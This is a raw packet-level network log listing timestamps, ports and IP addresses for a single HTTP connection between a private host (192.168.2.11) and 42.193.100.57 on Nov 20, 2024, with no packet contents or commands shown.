Nov 20, 2024 09:14:53.110290051 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110297918 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110321045 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110323906 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110336065 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110349894 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110353947 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110366106 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110367060 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110394001 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110426903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110434055 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110441923 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110465050 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110466957 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110479116 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110486984 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110493898 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110496044 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110512018 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110526085 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110536098 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110542059 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110572100 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110591888 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110639095 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110654116 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110676050 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110682964 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110687017 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110697985 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110712051 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110724926 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110726118 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110740900 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110750914 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110759974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110781908 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110781908 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110826015 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110862017 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110877037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110891104 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110897064 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110907078 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110924959 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110935926 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110950947 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.110955954 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.110997915 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111017942 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111052990 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111113071 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111126900 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111141920 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111148119 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111156940 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111157894 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111172915 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111186981 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111186981 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111187935 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111202955 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111223936 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111223936 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111237049 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111262083 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111275911 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111289024 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111299038 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111301899 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111308098 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111320972 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111336946 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111356020 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111380100 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111391068 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111394882 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111409903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111417055 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111424923 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111426115 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111440897 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111443996 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111457109 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111474037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111495972 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111495972 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111495972 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111500978 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111507893 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111515999 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111531973 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111534119 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111546040 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111553907 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111561060 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111579895 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111689091 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111702919 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111716986 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111722946 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111731052 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111732006 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111747026 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111749887 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111761093 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111762047 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111778021 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111783028 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111793041 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111793041 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.111815929 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.111834049 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.199641943 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.199709892 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.199827909 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.199872017 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.199973106 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.199987888 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.200022936 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.200046062 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.200129032 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.200145006 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.200160027 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.200211048 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.200223923 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.200280905 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.200297117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.200311899 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.200325012 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.200339079 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.200352907 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.200366974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.200366974 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.200366974 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.200366974 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.200395107 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.200423002 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.200634003 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.200654984 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.200670958 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.200691938 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.200712919 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.200723886 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.200761080 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.200793982 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.367398024 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.367414951 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.367440939 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.367456913 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.367464066 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.367469072 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.367480993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.367496014 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.367508888 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.367531061 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.367531061 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.367531061 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.367583990 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.367603064 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.367614031 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.367620945 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.367625952 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.367639065 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.367641926 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.367660999 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.367670059 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.367679119 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.367691994 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.367695093 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.367703915 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.367717028 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.367716074 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.367738008 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.367758036 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.367804050 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.367815971 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.367825985 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.367836952 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.367846966 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.367856026 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.367856026 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.367866039 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.367878914 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.367901087 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.367903948 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.367914915 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.367934942 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.367934942 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.367969990 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.368010044 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368021011 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368031979 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368043900 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368057966 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368057966 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.368058920 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.368073940 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.368104935 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.368134022 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368144035 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368155956 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368168116 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368177891 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368189096 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.368220091 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.368247032 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368257999 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368268967 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368279934 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368290901 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368292093 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.368311882 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.368333101 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368335962 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.368344069 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368429899 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.368504047 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368515968 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368527889 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368537903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368549109 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368566036 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.368570089 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368578911 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.368582964 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368593931 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368606091 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368633032 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.368654013 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.368659973 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368671894 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368683100 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368694067 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368704081 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368716002 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368729115 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.368803978 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.368843079 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368854046 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368864059 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368875980 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368886948 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368897915 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368904114 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.368911982 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368916035 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.368926048 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368936062 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.368959904 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.368963003 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.368971109 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369010925 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.369096041 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369108915 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369119883 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369131088 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369142056 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369152069 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369163990 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369172096 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.369177103 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369189978 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369199991 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369203091 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.369215012 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369218111 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.369239092 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.369265079 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.369297028 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369309902 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369321108 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369335890 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.369354010 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.369354010 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.369378090 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369390011 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369402885 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369429111 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.369455099 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.369505882 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369517088 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369527102 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369534016 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369543076 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369549990 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369555950 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369560003 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.369575024 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.369613886 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.369731903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369744062 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369765997 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369779110 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369788885 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.369790077 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369803905 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369813919 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369815111 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.369824886 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369836092 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369843960 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.369846106 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369862080 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369874001 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369884014 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.369884014 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369894028 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.369898081 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.369920969 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.369951010 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.370073080 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.370085001 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.370096922 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.370106936 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.370112896 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.370119095 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.370120049 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.370131016 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.370143890 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.370156050 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.370182991 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.370203018 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.370277882 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.370290041 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.370301962 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.370311975 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.370323896 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.370330095 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.370347023 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.370356083 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.454329014 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.454364061 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.454381943 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.454426050 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.454459906 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.454474926 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:53.454482079 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:53.454493999 CET	80	49701	42.193.100.57	192.168.2.11
